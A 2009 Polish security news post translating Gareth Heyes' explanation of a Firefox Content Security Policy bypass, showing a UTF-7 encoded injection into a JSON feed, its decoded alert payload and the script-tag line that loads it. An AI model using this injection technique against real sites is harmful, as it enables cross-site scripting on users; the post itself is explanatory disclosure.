6:12
24/11/2009

Michał Wiczyński podesłał nam tłumaczenie tekstu Garetha Heyesa, w którym zobrazowano sposób na ominięcie zabezpieczeń CSP w przeglądarce Firefox.

Na czym polega błąd?

Każda strona z feedem JSON-a nad którym może mieć kontrolę atakujący jest podatna na atak. Do feeda można wstrzyknąć kod, dzięki któremu atakujący jest w stanie kontrolować pozostałe elementy feeda. Wyjaśnijmy to na przykładzie:

W UTF-7 ciąg “ABC” jest reprezentowany jako:

+ACcAQQBCAEMAJw-

Jeżeli przykładowa odpowiedź w JSON wygląda tak:

[{'friend':'something',email:'something'} ]

to mając kontrolę nad wartością something, możemy umieścić własny kod:

+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlAC
AAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAb
wBuAGU-

w UTF-8:

'}];alert('May the force be with you');[{'job':'done

Umieszczając w/w kod, powstaje nam:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]

czyli:

[{'friend':'luke','email':''}];alert(’May the force be with you’);[{'job':'done'}]

Wstrzykując takie dane, poprzez odwołanie się do skryptu (ustawiając kodowanie na UTF-7):

"><script src="http://some.website/test.json" charset="utf-7"></script>

uruchamiamy kod, omijając CSP. Działający przykład: http://www.businessinfo.co.uk/labs/cspluke/test.html

Więcej informacji na temat CSP znajdziesz na blogu Mozilli. Aby przetestować swoją przeglądarkę pod kątem CSP, odwiedź tę stronę.


Dowiedz się, jak zabezpieczyć swoje dane i pieniądze przed cyberprzestępcami. Wpadnij na nasz kultowy ~3 godzinny wykład pt. "Jak nie dać się zhackować?" i poznaj kilkadziesiąt praktycznych i przede wszystkim prostych do zastosowania porad, które skutecznie podniosą Twoje bezpieczeństwo i pomogą ochronić przed atakami Twoich najbliższych. Uczestnicy tego wykładu oceniają go na: 9,34/10!

Na ten wykład powinien przyjść każdy, kto korzysta z internetu na smartfonie lub komputerze, prywatnie albo służbowo. Wykład prowadzimy prostym językiem, wiec zrozumie go każdy, także osoby spoza branży IT. Dlatego na wykład możesz spokojnie przyjść ze swoimi rodzicami lub mniej technicznymih znajomych. W najbliższych tygodniach będziemy w poniższych miastach:

Zobacz pełen opis wykładu klikając tutaj lub kup bilet na wykład klikając tu.

1 komentarz

Dodaj komentarz
  1. Wyniki testu pod kątem CSP nie napawają w moim przypadku optymistycznie…
    Firefox(3.6.12) -> oblał wszystko
    Chrome(7.0.517.44) -> 2/20 pass

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: